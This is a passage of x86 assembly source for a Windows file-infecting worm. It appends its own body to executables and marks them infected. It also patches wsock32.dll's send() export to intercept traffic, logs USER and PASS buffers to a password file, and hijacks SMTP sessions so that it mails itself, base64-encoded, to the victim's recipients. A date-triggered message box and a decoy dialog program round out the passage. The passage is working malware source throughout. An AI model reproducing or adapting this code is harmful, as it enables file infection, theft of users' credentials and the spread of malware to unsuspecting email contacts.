        mul ecx
 
    NewVirtualSize:
        mov [esi + 8h], eax                           ; save new value
 
    NewAlignedImageSize:
        mov eax, dword ptr [esi + 0ch]                ; get virtual offset   
        add eax, dword ptr [esi + 8h]                 ; + new virtual size
        mov [ebp + imagesize], eax                    ; = new imagesize
 
    NewAlignedFileSize:
        mov eax, dword ptr [esi + 10h]                ; get new phys size
        add eax, dword ptr [esi + 14h]                ; add offset of phys
        mov ecx, [ebp + PEheader]
        mov ecx, [ecx + 3ch]
        div ecx                                       ; and align it to
        inc eax                                       ; the filealign
        mul ecx 
        mov [ebp + filesize], eax                     ; size = filesize
 
    CalculateNewWsockApiAddress:
        pop eax
        push eax
        add eax, dword ptr [esi + 0ch]                ; + virtual offset
        add eax, InterceptWsockApiCall - Start                ; + ip
        mov [ebp + wnewapiaddress], eax                       ; new api address
        jmp HookDaApi
 
    HookDaApi:
        push esi
        call HOOK_API
        pop esi
 
    CopyVirusToEndOfFile:
        pop eax
        mov edi, eax
        add edi, [ebp + mapaddress]                   ; mapaddress
        add edi, [esi + 14h]                          ; add raw data offset
        lea esi, [ebp + Start]                        ; copy virus
        mov ecx, (Leap-Start)/4 + 4
        cld
        rep movsd
 
    UpdatePEHeaderWithChanges:
        mov esi, [ebp + mapaddress]    
        mov word ptr [esi + 38h], 'll'                ; set infectionmark
        mov esi, [ebp + PEheader]      
        mov eax, [ebp + imagesize]            
        mov [esi + 50h], eax                          ; set new imagesize
        
;--------------------------------[ unmap file ]------------------------------;
 
    UnmapView:
        push dword ptr [ebp + mapaddress]
        lea eax, [ebp + AUnmapViewOfFile]
        call GETAPI
 
    CloseMap:
        push dword ptr [ebp + maphandle]
        lea eax, [ebp + ACloseHandle]
        call GETAPI
 
        push 0
        push 0
        push dword ptr [ebp + filesize]
        push dword ptr [ebp + filehandle]
        lea eax, [ebp + ASetFilePointer]
        call GETAPI
 
        push dword ptr [ebp + filehandle]
        lea eax, [ebp + ASetEndOfFile]
        call GETAPI
 
;--------------------------------[ close file ]------------------------------;
 
    CloseFile:
        push dword ptr [ebp + myfinddata.fd_ftLastWriteTime]
        push dword ptr [ebp + myfinddata.fd_ftLastAccessTime]
        push dword ptr [ebp + myfinddata.fd_ftCreationTime]
        push dword ptr [ebp + filehandle]
        lea eax, [ebp + ASetFileTime]
        call GETAPI
 
        push [ebp + filehandle]
        lea eax, [ebp + ACloseHandle]
        call GETAPI
 
    InfectionError:
        push dword ptr [ebp + myfinddata.fd_dwFileAttributes]
        lea eax, [ebp + myfinddata.fd_cFileName]      
        push eax
        lea eax, [ebp + ASetFileAttributes]
        call GETAPI
        ret
 
INFECT_FILE endp
 
;===========================[ ic-hook_api.inc ]=============================;
 
HOOK_API proc
 
    LoadWSockExportTableData:
        mov edi, [ebp + PEheader]
        mov esi, dword ptr [edi + 78h]                ; rva export table
      
        mov edx, esi                                  ; get RVA
        call RVA_TO_RAW
        mov esi, ecx
        mov eax, dword ptr [esi + 18h]                
        mov [ebp + numberofnames], eax                ; save number of names
 
        push esi
        mov eax, dword ptr [esi + 1Ch]                ; get ra of table with 
 
        mov edx, eax
        call RVA_TO_RAW
        mov eax, ecx                                  ; pointers to funtion
        mov [ebp + addressoffunctions], eax           ; addresses
 
        pop esi
        push esi
        mov eax, dword ptr [esi + 20h]                ; get ra of table with
        
        mov edx, eax
        call RVA_TO_RAW
        mov eax, ecx                                  ; pointers to names
        mov [ebp+addressofnames],  eax                ; of functions
 
        pop esi
        push esi
        
        mov eax, dword ptr [esi + 24h]                ; get ra of table with
        mov edx, eax
        call RVA_TO_RAW
        mov eax, ecx                                  ; pointers to ordinals
        mov [ebp+addressofordinals], eax              ; of functions
        pop esi
 
    BeginSendAddressSearch:
        mov esi, [ebp + addressofnames]                       ; search for 
        mov [ebp + AONindex], esi                     ; API in names
        mov edi, [esi]                                ; table
 
        mov edx, edi
        call RVA_TO_RAW
        mov edi, ecx
        xor ecx, ecx   
 
    HookSendApi:
        lea ebx, [ebp + ASend]         
 
    OkTryAgain:
        mov esi, ebx                                  
 
    MatchByteNow:
        cmpsb
        jne NextOneNow                                
        cmp byte ptr [esi], 0                         ; did the entire string
        je YesGotIt                                   ; match ?
        jmp MatchByteNow
 
    NextOneNow:
        inc cx                                        
        add dword ptr [ebp + AONindex], 4             ; get next namepointer
        mov esi, [ebp + AONindex]                     ; in table (4 dwords)
        mov edi, [esi]                                
 
        push ebx
        push ecx
 
        mov ebx, [ebp + mapaddress]
        mov edx, edi
        call RVA_TO_RAW
        mov edi, ecx
 
        pop ecx
        pop ebx
        jmp OkTryAgain
 
    YesGotIt:
        shl ecx, 1                                    
        mov esi, [ebp + addressofordinals]            ; ordinal = nameindex *
        add esi, ecx                                  ; size of ordinal entry
        xor eax, eax                                  ; + ordinal table base
        mov ax, word ptr [esi]                        ; offset of address
        shl eax, 2                                    ; of function = ordinal
        mov esi, [ebp + addressoffunctions]           ; * size of entry of
        add esi, eax                                  ; address table
        mov edi, dword ptr [esi]                      ; get address
 
    SaveNewWsockApiAddress:
        mov [ebp + woldapiaddress], edi                       ; save it 
 
    ChangeWsock:
        mov eax, dword ptr [ebp + wnewapiaddress]     ; new api address
        mov dword ptr [esi], eax                      ; set it
        ret
 
HOOK_API endp
 
;===========================[ ic-rva_to_raw.inc ]===========================;
 
RVA_TO_RAW proc
 
    ; In:  edx - RVA to convert
    ; Out: ecx - Pointer to RAW data or NULL if error
 
    GetRaw:
        mov ebx, [ebp + mapaddress]
        mov [ebp + rva2raw], edx
 
        mov esi, dword ptr [ebx + 3ch]
        add esi, ebx                                  ; esi=offset peheader
        xor ecx, ecx
        mov cx, word ptr [esi + 06h]                  ; ecx = nr. of sections
        xor edi, edi
        mov di, word ptr [esi + 20d]                  ; optional header size
        add esi, 24d                                  ; file header size
        add edi, esi                                  
 
    FindCorrespondingSection:
        mov eax, dword ptr [ebp + rva2raw]            ; rva we want into raw
        mov edx, dword ptr [edi + 12d]                ; section RVA
        sub eax, edx
        cmp eax, dword ptr [edi+08d]                  ; section size
        jb SectionFound
 
    NotThisSection: 
        add edi, 40d
        loop FindCorrespondingSection
 
    EndRawSearch:
        ret
 
    SectionFound:
        mov ecx, dword ptr [edi+20d]                  ; pntr to section's raw
        sub edx, ecx                                  ; data from beginning 
        add ecx, eax                                  ; of file
        add ecx, ebx
        ret
 
RVA_TO_RAW endp
 
;=========================[ ic-create_ini_file.inc ]========================;
 
CREATE_INI_FILE proc
 
    IniGetSetWindowsDir:
        call SET_WINDIR
 
    CreateInstallIni:
        push 0                                        ; template handle=0
        push 20h                                      ; attributes=any file
        push 4                                        ; type= new file
        push 0                                        ; security option = 0
        push 1                                        ; shared for read
        push 80000000h or 40000000h                   ; generic read write
        lea eax, [ebp + inifile]
        push eax                                      ; offset file name
        lea eax, [ebp + ACreateFile]
        call GETAPI    
        mov [ebp + filehandle], eax
 
    SetIniFilePointerToEnd:
        push 02h
        push 00h
        push 00h
        push [ebp + filehandle]
        lea eax, [ebp + ASetFilePointer]
        call GETAPI
        mov dword ptr [ebp + writtensize], 00h
 
    WriteInstallIniLoop:
        lea esi, [ebp + inicrlf]                      
        xor ecx, ecx
        call StringSize
        call Write
 
        lea esi, [ebp + rename]                               ; write 'rename'
        mov word ptr [ebp + writtensize], 0Ah
        call Write
 
        lea esi, [ebp + sysdir]                               ; write systemdir
        xor ecx, ecx
        call StringSize
        call Write
 
        lea esi, [ebp + slashsign]                    ; write slash
        xor ecx, ecx
        call StringSize
        call Write
 
    WriteWsock32Dll:
        lea esi, [ebp + wsock32dll]                   ; write original dll
        xor ecx, ecx
        call StringSize
        call Write
 
    WriteOn:
        lea esi, [ebp + equalsign]                    ; write original dll
        xor ecx, ecx
        call StringSize
        call Write
 
        lea esi, [ebp + sysdir]                               ; write systemdir
        xor ecx, ecx
        call StringSize
        call Write
 
        lea esi, [ebp + slashsign]                    ; write slash
        xor ecx, ecx
        call StringSize
        call Write
 
     WriteInfectedWsock:
        lea esi, [ebp + wsock32inf]                   ; write original dll
        xor ecx, ecx
        call StringSize
        call Write
        jmp CloseInstallIni
 
    StringSize:
        cmp byte ptr [esi + ecx], 0h
        je GotSize
        inc ecx
        jmp StringSize
 
    GotSize:
        mov word ptr [ebp + writtensize], cx
        ret     
 
    Write:
        push 0h
        lea eax, [ebp + writtenbytes]
        push eax
        xor eax, eax
        mov ax, word ptr [ebp + writtensize]
        push eax
        push esi
        push dword ptr [ebp + filehandle]
        lea eax, [ebp + AWriteFile]
        call GETAPI
        ret
 
    CloseInstallIni:
        lea esi, [ebp + inicrlf]                      ; write original dll
        xor ecx, ecx
        call StringSize
        call Write
 
        push dword ptr [ebp + filehandle]
        lea eax, [ebp + ACloseHandle]
        call GETAPI
        ret
 
CREATE_INI_FILE endp
 
;=========================[ ic-copy_host_file.inc ]=========================;
 
COPY_HOST_FILE proc
 
    GetCurrentHostPath:
        push 100h
        lea eax, [ebp + currentdir]
        push eax
        push 00h
        lea eax, [ebp + AGetModuleFileName]
        call GETAPI
 
    SetSysDirectory:
        call SET_SYSDIR
    
    CopyWormHostFile:
        push 00h       
        lea eax, [ebp + wsock2]
        push eax
        lea eax, [ebp + currentdir]
        push eax
        lea eax, [ebp + ACopyFile]
        call GETAPI
        ret
 
COPY_HOST_FILE endp
 
;=========================[ ic-ws_intercept.inc ]===========================;
 
INTERCEPT_WSOCK proc
 
    InterceptWsockApiCall:
        push ebp
        call GetDelta
 
    GetDelta:
        pop ebp
        sub ebp, offset GetDelta
        pushad
 
    CheckStatus:
        mov eax, [esp+(8*4)+(1*4)+4 + 0]              ; get send() socket
        mov [ebp + socketh], eax                      ; save it
        mov esi, [esp+(8*4)+(1*4)+4 + 4]              ; send() buffer
        mov ecx, [esp+(8*4)+(1*4)+4 + 8]              ; size of buffer
        
        pushad
        call GET_GETPROCADDRESS_API_ADDRESS
        popad
      
    CheckForSecurityInfo:
        cmp [esi], 'RESU'
        je StoreBufferData
        cmp [esi], 'SSAP'
        jne DontStore
 
    StoreBufferData:
        pushad
        call WRITE_TO_FILE
        popad
    
    DontStore:
        cmp [ebp + status], 00h                               ; monitoring==true ?
        je CheckMailFrom                              ; yes, we are
        cmp [ebp + status], 02h
        je CheckRcptTo
        cmp [ebp + status], 03h
        je CheckMimeFrom
        cmp [ebp + status], 05h
        je CheckQuit
        jmp Continue
 
    CheckMailFrom:
        mov esi, [esp+(8*4)+(1*4)+4 + 4]              ; send() buffer
        mov ecx, [esp+(8*4)+(1*4)+4 + 8]              ; size of buffer         
        cmp [esi], 'LIAM'
        jne Continue
 
    StoreMailFromTag:
        pushad
        call WRITE_TO_FILE
        popad
 
    SaveMailFrom:
        mov [ebp + fromsize], ecx
        push ecx
        push esi
 
        push ecx
        push 00h
        lea eax, [ebp + AGlobalAlloc]
        call GETAPI
 
        or eax, eax
        jz ErrorWhileSending
 
        pop esi
        pop ecx 
        mov [ebp + fromaddress], eax
        mov edi, eax
        rep movsb
        mov [ebp + status], 02h
 
    CheckRcptTo:
        mov esi, [esp+(8*4)+(1*4)+4 + 4]              ; send() buffer
        mov ecx, [esp+(8*4)+(1*4)+4 + 8]              ; size of buffer         
        cmp [esi], 'TPCR'      
        jne CheckData
 
    AllocateRcptMemory:
        cmp [ebp + rcptnumber], 00h
        jne SaveRcptTo
        
        push ecx
        push esi
 
        push 500h
        push 00h
        lea eax, [ebp + AGlobalAlloc]
        call GETAPI
        or eax, eax
        jz ErrorWhileSending                          ; mem for rctp email
        mov [ebp + rcpt_buffer_address], eax          ; addresses
 
        push 100h
        push 00h
        lea eax, [ebp + AGlobalAlloc]
        call GETAPI
        or eax, eax
        jz ErrorWhileSending                          ; mem for size of rctp 
        mov [ebp + rcpt_size_address], eax            ; email addresses
 
        pop esi
        pop ecx 
 
    SaveRcptTo:
        push ecx                                      ; store rcpt string
        mov edi, [ebp + rcpt_buffer_address]
        mov eax, [ebp + totalrcptsize]
        add edi, eax
        rep movsb
        pop ecx
 
        mov edi, [ebp + rcpt_size_address]            ; store rcpt string size
        mov eax, [ebp + rcptnumber]
        mov edx, 04h
        mul edx
        add edi, eax
        mov dword ptr [edi], ecx
 
        mov eax, [ebp + totalrcptsize]                ; calculate total size
        add eax, ecx                                  ; of rcpts
        mov [ebp + totalrcptsize], eax
 
        mov eax, [ebp + rcptnumber]                   ; calculate number of 
        add eax, 01h                                  ; rcpt we have
        mov [ebp + rcptnumber], eax
        jmp Continue
 
    CheckData:
        mov esi, [esp+(8*4)+(1*4)+4 + 4]              ; send() buffer
        mov ecx, [esp+(8*4)+(1*4)+4 + 8]              ; size of buffer         
        cmp [esi], 'ATAD'              
        jne Continue
        mov [ebp + status], 03h
 
    CheckMimeFrom:
        mov esi, [esp+(8*4)+(1*4)+4 + 4]              ; send() buffer
        mov ecx, [esp+(8*4)+(1*4)+4 + 8]              ; size of buffer
 
    MimeFromLoop:
        lea edi, [ebp + fromtag]
        push ecx
        push esi
        mov ecx, 05h
        rep cmpsb
        pop esi
        pop ecx
        je SearchMimeFromEnd
        inc esi
        loop MimeFromLoop
 
    CheckMimeTo:
        mov esi, [esp+(8*4)+(1*4)+4 + 4]              
        mov ecx, [esp+(8*4)+(1*4)+4 + 8]              
 
    MimeToLoop:
        lea edi, [ebp + totag]
        push ecx
        push esi
        mov ecx, 03h
        rep cmpsb
        pop esi
        pop ecx
        je SearchMimeToEnd
        inc esi
        loop MimeToLoop
        jmp CheckQuit
 
    SearchMimeFromEnd:
        push esi
 
    FromEndLoop:
        lea edi, [ebp + mimeendtag]
        push ecx
        push esi
        mov ecx, 01h
        rep cmpsb
        pop esi
        pop ecx
        je SaveMimeFrom
        inc esi
        loop FromEndLoop
        
        pop esi
        jmp Continue
 
    SaveMimeFrom:
        mov eax, esi
        pop esi
        sub eax, esi
        mov ecx, eax
        add ecx, 03h
        mov [ebp + mimefromsize], ecx
        push esi
        push ecx
 
        push ecx
        push 00h
        lea eax, [ebp + AGlobalAlloc]
        call GETAPI
        or eax, eax
        jz MimeError
        mov [ebp + mimefrom_address], eax
 
        pop ecx
        pop esi
        mov edi, eax
        rep movsb
 
        mov [ebp + fromstatus], 01h
        cmp [ebp + tostatus], 01h
        jne CheckMimeTo 
        mov [ebp + status], 05h
        jmp CheckQuit
 
    SearchMimeToEnd:
        push esi
 
    ToEndLoop:
        lea edi, [ebp + toendtag]
        push ecx
        push esi
        mov ecx, 08h
        rep cmpsb
        pop esi
        pop ecx
        je SaveMimeTo
        inc esi
        loop ToEndLoop
 
        pop esi
        jmp Continue
 
    SaveMimeTo:
        mov eax, esi
        pop esi
        sub eax, esi
        mov ecx, eax
        mov [ebp + mimetosize], ecx
        push esi
        push ecx
 
        push ecx
        push 00h
        lea eax, [ebp + AGlobalAlloc]
        call GETAPI
        or eax, eax
        jz MimeError
        mov [ebp + mimeto_address], eax
 
        pop ecx
        pop esi
        mov edi, eax
        rep movsb
 
        mov [ebp + tostatus], 01h
        cmp [ebp + fromstatus], 01h
        jne CheckMimeFrom              
        mov [ebp + status], 05h
        jmp CheckQuit
 
    MimeError:
        pop ecx
        pop esi
        mov [ebp + status], 05h
 
    CheckQuit:
        mov esi, [esp+(8*4)+(1*4)+4 + 4]              
        mov ecx, [esp+(8*4)+(1*4)+4 + 8]              
        cmp [esi], 'TIUQ'              
        jne Continue
 
        pushad
        call SEND_MAIL
        popad
        
        jmp InterceptionFinished
 
    ErrorWhileSending:
        pop esi
        pop ecx
    
    InterceptionFinished:
        mov [ebp + status], 00h
        mov [ebp + totalrcptsize], 00h
        mov [ebp + rcptnumber], 00h
        mov [ebp + tostatus], 00h
        mov [ebp + fromstatus], 00h
        jmp Continue
 
    Continue:  
        popad
        lea eax, [ebp + InterceptWsockApiCall]                ; get ep va
        sub eax, dword ptr [ebp + wnewapiaddress]     ; - ep RVA
        add eax, dword ptr [ebp + woldapiaddress]     ; = imagebase
        pop ebp 
        jmp eax
 
INTERCEPT_WSOCK endp
 
;========================[ ic-ws_attachment.inc ]===========================;
 
PREPARE_ATTACHMENT proc
 
    SetSysDir:
        call SET_SYSDIR
 
    OpenSourceFile:
        push 0
        push 0
        push 3
        push 0
        push 0
        push 80000000h
        lea eax, [ebp + wsock2]
        push eax
        lea eax, [ebp + ACreateFile]
        call GETAPI
        mov [ebp + filehandle], eax                   ; save file handle
        cmp eax, -1
        je NoBase64Encode
  
    GetSourceFileSize:
        push 00h
        push dword ptr [ebp + filehandle]
        lea eax, [ebp + AGetFileSize]
        call GETAPI
 
        or eax, eax
        jz NoBase64Encode
        mov [ebp + filesize], eax                     ; get file size
        
    AllocateSourceMemory:
        add eax, 02h
        push eax
        push 00h
        lea eax, [ebp + AGlobalAlloc]
        call GETAPI
 
        or eax, eax
        jz NoBase64Encode                             ; not enough memory?
        mov [ebp + smHnd], eax                        ; sourcememory handle
 
    AllocateDestinationMemory:
        mov eax, [ebp + filesize]
        xor edx, edx
        mov ecx, 02h
        mul ecx
        push eax
        push 00h
        lea eax, [ebp + AGlobalAlloc]
        call GETAPI
        
        or eax, eax
        jz NoBase64Encode                             ; not enough memory?
        mov [ebp + dmHnd], eax                        ; destinationmemory handle
 
    ReadSourceFile:
        mov [ebp + bytesread], 00h
 
        push 00h
        lea eax, [ebp + bytesread]
        push eax
        push [ebp + filesize] 
        push dword ptr [ebp + smHnd]
        push dword ptr [ebp + filehandle]
        lea eax, [ebp + AReadFile]
        call GETAPI
 
        mov eax, dword ptr [ebp + bytesread]
        or eax, eax
        jz NoBase64Encode                             ; nothing read ?
 
    CloseSourceFile:
        push dword ptr [ebp + filehandle]                     ; close the file
        lea eax, [ebp + ACloseHandle]
        call GETAPI
 
    EncodeSourceData:
        mov eax, dword ptr [ebp + smHnd]
        mov edx, dword ptr [ebp + dmHnd]
        mov ecx, dword ptr [ebp + filesize]
        call BASE64_ENCODER                                   ; encode into Base64
        mov [ebp + encodedsize], ecx
 
    NoBase64Encode:
        ret
 
PREPARE_ATTACHMENT endp
 
;=========================[ ic-ws_b64encoder.inc ]==========================;
 
BASE64_ENCODER proc
 
    ; in:   eax address of data to encode
    ;       edx address to put encoded data
    ;       ecx size of data to encode
    ;
    ; out:  ecx size of encoded data
    ;
 
    CheckFileSize:
        push eax
        push edx
        push ecx
        mov eax, ecx
        xor edx, edx
        mov ecx, 03h
        div ecx
        pop ecx
        or edx, edx
        jz EncodeBase64
 
    AddTwoBytes:
        cmp edx, 01h
        jne AddOneByte
        add ecx, 02h
        jmp EncodeBase64
 
    AddOneByte:
        add ecx, 01h
 
    EncodeBase64:    
        pop edx
        pop eax
        xor esi, esi
        lea edi, [ebp + encTable]
        push ebp
        xor ebp, ebp  
 
    BaseLoop:
        xor ebx, ebx
        mov bl, byte ptr [eax]
        shr bl, 2
        and bl, 00111111b
        mov bh, byte ptr [edi+ebx]
        mov byte ptr [edx+esi], bh
        inc esi
 
        mov bx, word ptr [eax]
        xchg bl, bh
        shr bx, 4
        xor bh, bh
        and bl, 00111111b
        mov bh, byte ptr [edi+ebx]
        mov byte ptr [edx+esi], bh
        inc esi
 
        inc eax
        mov bx,word ptr [eax]
        xchg bl, bh
        shr bx, 6
        xor bh, bh
        and bl, 00111111b
        mov bh, byte ptr [edi+ebx]
        mov byte ptr [edx+esi], bh
        inc esi
 
        inc eax
        xor ebx, ebx
        mov bl, byte ptr [eax]
        and bl, 00111111b
        mov bh, byte ptr [edi+ebx]
        mov byte ptr [edx+esi], bh
        inc esi
        inc eax
 
        inc ebp
        cmp ebp, 24
        ja AddEndOfLine
        inc ebp
 
    AddedEndOfLine:
        sub ecx, 3
        or ecx, ecx
        jnz BaseLoop
 
        mov word ptr [edx+esi], 0a0dh
        add esi, 2     
        mov ecx, esi
        pop ebp
        ret
 
    AddEndOfLine:
        xor ebp, ebp
        mov word ptr [edx+esi], 0a0dh
        add esi, 2
        jmp AddedEndOfLine
 
BASE64_ENCODER endp
 
;=======================[ ic-ws_write_to_file.inc ]=========================;
 
WRITE_TO_FILE proc
 
    StoreBuffer:
        push esi
        push ecx
 
    SetEmailDropDir:
        call SET_WINDIR
 
    CreateEmailDrop:
        push 0                                        ; template handle=0
        push 20h                                      ; attributes=any file
        push 04h                                      ; type= existing file
        push 0                                        ; security option = 0
        push 1                                        ; shared for read
        push 80000000h or 40000000h                   ; generic read write
        lea eax, [ebp + passwordfile]
        push eax                                      ; offset file name
        lea eax, [ebp + ACreateFile]
        call GETAPI    
        mov [ebp + filehandle], eax                   ; save file handle
        cmp eax, -1
        je BufferError
 
    SetDropPointer:
        push 2
        push 0
        push 0
        push dword ptr [ebp + filehandle]             ; filehandle
        lea eax, [ebp + ASetFilePointer]
        call GETAPI
 
        pop ecx
        pop esi
 
    WriteBuffer:
        push 0h
        lea eax, [ebp + writtenbytes]
        push eax
        push ecx                                      ; push buffersize
        push esi                                      ; push offset buffer
        push dword ptr [ebp + filehandle]
        lea eax, [ebp + AWriteFile]
        call GETAPI
 
    CloseBufferFile:
        push dword ptr [ebp + filehandle]
        lea eax, [ebp + ACloseHandle]
        call GETAPI
        ret
 
    BufferError:
        pop ecx
        pop esi
        ret
 
WRITE_TO_FILE endp
 
;============================[ ic-send_mail.inc ]============================;
 
SEND_MAIL proc
 
    GetAllApiAddresses:
        call GET_WSOCK32_BASE_ADDRESS
        call GET_USER32_BASE_ADDRESS
        call PREPARE_ATTACHMENT
 
        mov eax, [ebp + filehandle]
        cmp eax, -1                                   ; attachment error
        je SendError
 
    AllocateEmailBufferMemory:
        mov eax, [ebp + encodedsize]
        mov ecx, 02h
        mul ecx
        push eax
        push 00h
        lea eax, [ebp + AGlobalAlloc]
        call GETAPI
 
        or eax, eax
        jz SendError                                  ; mem for email
        mov [ebp + email_buffer_address], eax         ; buffer
 
    SendMailFromTag:
        mov eax, dword ptr [ebp + fromaddress]
        mov ecx, dword ptr [ebp + fromsize]
        call SendCommand
        call ReceiveReply
 
    SendRcptToTags:
        xor ecx, ecx
        mov [ebp + totalrcptsize], 00h
               
    RcptSendLoop:
        push ecx
        
        mov edi, [ebp + rcpt_size_address]
        mov eax, ecx
        mov edx, 04h
        mul edx
        add edi, eax
        mov ecx, dword ptr [edi]
 
        mov esi, [ebp + rcpt_buffer_address]
        mov eax, [ebp + totalrcptsize]
        add esi, eax
        
        pushad
        mov eax, esi
        call SendCommand
        call ReceiveReply
        popad
 
        add eax, ecx
        mov [ebp + totalrcptsize], eax
        
        pop ecx
        inc ecx
        mov eax, [ebp + rcptnumber]
        cmp ecx, eax
        jne RcptSendLoop
 
    SendDataCommand:
        lea eax, [ebp + datatag]
        mov ecx, 06h
        call SendCommand
        call ReceiveReply
 
    EmailBody_EmailId:
        mov [ebp + email_size], 00h
        mov edi, [ebp + email_buffer_address]
        lea esi, [ebp + emailid]
        mov ecx, 21d
        add [ebp + email_size], ecx
        rep movsb
 
    EmailBody_EmailFrom:
        cmp [ebp + fromstatus], 01h
        jne EmailBody_MakeEmailFrom
 
        mov esi, [ebp + mimefrom_address]
        mov ecx, [ebp + mimefromsize]
        add [ebp + email_size], ecx
        rep movsb
        jmp EmailBody_EmailTo
 
    EmailBody_MakeEmailFrom:
        lea esi, [ebp + fromtag]
        mov ecx, 05h
        add [ebp + email_size], ecx
        rep movsb
 
        mov esi, dword ptr [ebp + fromaddress] 
        add esi, 11d
        mov ecx, dword ptr [ebp + fromsize]
        sub ecx, 11d
        add [ebp + email_size], ecx
        rep movsb
 
    EmailBody_EmailTo:
        cmp [ebp + tostatus], 01h
        jne EmailBody_MakeEmailTo
 
        mov esi, [ebp + mimeto_address]
        mov ecx, [ebp + mimetosize]
        add [ebp + email_size], ecx
        rep movsb
        jmp EmailBody_EmailStartPart
 
    EmailBody_MakeEmailTo:
        lea esi, [ebp + totag]
        mov ecx, 03h
        add [ebp + email_size], ecx
        rep movsb              
 
        xor ecx, ecx
        mov [ebp + totalrcptsize], 00h
               
    RcptStringLoop:
        push ecx
        
        push edi
        mov edi, [ebp + rcpt_size_address]
        mov eax, ecx
        mov edx, 04h
        mul edx
        add edi, eax
        mov ecx, dword ptr [edi]
        pop edi
 
        push ecx
        mov esi, [ebp + rcpt_buffer_address]
        mov eax, [ebp + totalrcptsize]
        add esi, eax
        add esi, 08h
        sub ecx, 08h
        add [ebp + email_size], ecx
        rep movsb
 
        pop ecx
        add eax, ecx
        mov [ebp + totalrcptsize], eax
        
        pop ecx
        inc ecx
        mov eax, [ebp + rcptnumber]
        cmp ecx, eax
        jne RcptStringLoop
 
    EmailBody_EmailStartPart:
        lea esi, [ebp + emailstart]
        mov ecx, emailend-emailstart
        add [ebp + email_size], ecx
        rep movsb
 
    EmailBody_EmailAttachement:
        mov esi, dword ptr [ebp + dmHnd]
        mov ecx, [ebp + encodedsize]
        add [ebp + email_size], ecx
        rep movsb      
 
    EmailBody_EmailEndPart:
        lea esi, [ebp + emailtail]
        mov ecx, 17d
        add [ebp + email_size], ecx
        rep movsb      
 
    EmailBody_EndTag:
        lea esi, [ebp + endtag]
        mov ecx, 05h
        add [ebp + email_size], ecx
        rep movsb
 
    SendEmailBody:
        mov eax, [ebp + email_buffer_address]
        mov ecx, [ebp + email_size]
        call SendCommand
        call ReceiveReply
 
    MessageBoxDay:
        lea eax, [ebp + timedate]
        push eax
        lea eax, [ebp + AGetSystemTime]
        call GETAPI
        
        xor eax, eax
        mov ax, word ptr [ebp + timedate.wMonth]
        cmp ax, 07h
        jne SendError
        mov ax, word ptr [ebp + timedate.wDay]
        cmp ax, 01h
        jne SendError
 
    MessageBoxPayload:
        mov eax, 0040h
        push eax                              
        lea eax, [ebp + windowtitle]   
        push eax
        lea eax, [ebp + msgmessage]
        push eax
        push 00h
        lea eax, [ebp + AMessageBox]
        call GETUAPI    
        
    SendError:
        ret
 
;-----------------------------[ send routine ]------------------------------;
 
    SendCommand:
        push eax
 
        push 0h
        push ecx
        push eax
        push dword ptr [ebp + socketh]
        lea eax, [ebp + ASend]
        call GETWAPI
               
        cmp eax, -1
        jne SendWentOk
 
        pop eax
        jmp SendCommand
 
     SendWentOk:
        pop eax
        ret
 
;--------------------------[ receive routine ]------------------------------;
 
     ReceiveReply:
        push LARGE 0
        push LARGE 60
        lea eax, [ebp + recvbuffer]
        push eax
        push dword ptr [ebp + socketh]
        lea eax, [ebp + ARecv]
        call GETWAPI                                  ; call the api
 
        cmp eax, -1
        je ReceiveReply
        ret
        
SEND_MAIL endp
 
;****************************************************************************;
 
    Leap:
 
.code
 
    OriginalHost:
        push 0
        call GetModuleHandleA                         
        mov hInst, eax                                
 
    CreateProgressWindow:
        push 00h                                      
        push offset MYDIALOG_0                        
        push 00h                                      
        push 102                                      
        push hInst                                    
        call DialogBoxParamA                          
 
    CreateMainWindow:
        push 00h                                      
        push offset MYDIALOG_1                        
        push 00h                                      
        push 103                                      
        push hInst                                    
        call DialogBoxParamA                          
 
    Leave:
        push 0
        call ExitProcess
 
;============================[ ic-host_code.inc ]============================;
 
MYDIALOG_0 proc handle, umsg, wparam, lparam: dword
 
    CheckParameter:
        cmp [umsg], WM_INITDIALOG
        je CenterDlg
        cmp [umsg], WM_DESTROY
        je Exit
        cmp [umsg], WM_CLOSE
        je Exit 
        cmp flag, 01h
        je CreateProgressThread
        cmp flag, 02h
        je Exit
        xor eax, eax
        ret
 
    CenterDlg:
        push offset dlgrect
        push handle
        call GetWindowRect
        call GetDesktopWindow
        push offset desktoprect
        push eax
        call GetWindowRect
 
        push 00h
        mov eax, dlgrect.rcBottom
        sub eax, dlgrect.rcTop
        mov dlgheight, eax
        push eax                                              ; height
        mov eax, dlgrect.rcRight
        sub eax, dlgrect.rcLeft
        mov dlgwidth, eax                                     ; width
        push eax
        mov eax, desktoprect.rcBottom         
        sub eax, dlgheight
        shr eax, 1
        push eax                                              ; bottom
        mov eax, desktoprect.rcRight
        sub eax, dlgwidth
        shr eax, 1
        push eax                                              ; top
        push handle                                           ; handle
        call MoveWindow                                       ; move to center
        mov flag, 01h
        xor eax, eax
        ret
 
    CreateProgressThread:
        push offset threadid
        push 00h
        push handle
        push offset PROGRESS
        push 00h
        push 00h
        call CreateThread
        mov flag, 00h
        xor eax, eax
        ret
 
    Exit:
        push wparam
        push handle
        call EndDialog
        mov eax, 01h
        ret
 
MYDIALOG_0 endp
 
MYDIALOG_1 proc handle, umsg, wparam, lparam: dword
 
    CheckParameter1:
        cmp [umsg], WM_INITDIALOG
        je CenterDlg1
        cmp [umsg], WM_DESTROY
        je Exit1
        cmp [umsg], WM_CLOSE
        je Exit1
        cmp [umsg], WM_COMMAND
        je CheckCommand
        cmp [umsg], WM_VSCROLL
        je SpinButtonClick
        cmp initflag, 01h
        je InitValues 
        xor eax, eax
        ret    
 
    CheckCommand:
        cmp [wparam], 1009
        je Exit
        cmp [wparam], 1014
        je SetOkFlag
        xor eax, eax
        ret
 
    SpinButtonClick:
        xor eax, eax
        mov ecx, [wparam]
        rol ecx, 16
        mov ax, cx
 
        mov ecx, pastvalue
        cmp ecx, eax
        jge PressedUp
 
    PressedDown:
        mov pastvalue, eax
        cmp doneflag, 00h
        jne Reset
        cmp currentvalue, '0'
        je DontDecrease
        dec byte ptr currentvalue
 
    DontDecrease:
        push offset currentvalue
        push 00h
        push WM_SETTEXT
        push 1003
        push handle
        call SendDlgItemMessageA
        mov doneflag, 01h
        xor eax, eax
        ret
 
    PressedUp:
        mov pastvalue, eax
        cmp currentvalue, '9'
        je Reset
        cmp doneflag, 00h
        jne Reset
        inc byte ptr currentvalue
        push offset currentvalue
        push 00h
        push WM_SETTEXT
        push 1003
        push handle
        call SendDlgItemMessageA
        mov doneflag, 01h
        xor eax, eax
        ret
 
    Reset:
        mov doneflag, 00h
        xor eax, eax
        ret
 
    SetOkFlag:
        mov okflag, 01h
        jmp Exit
 
    CenterDlg1:
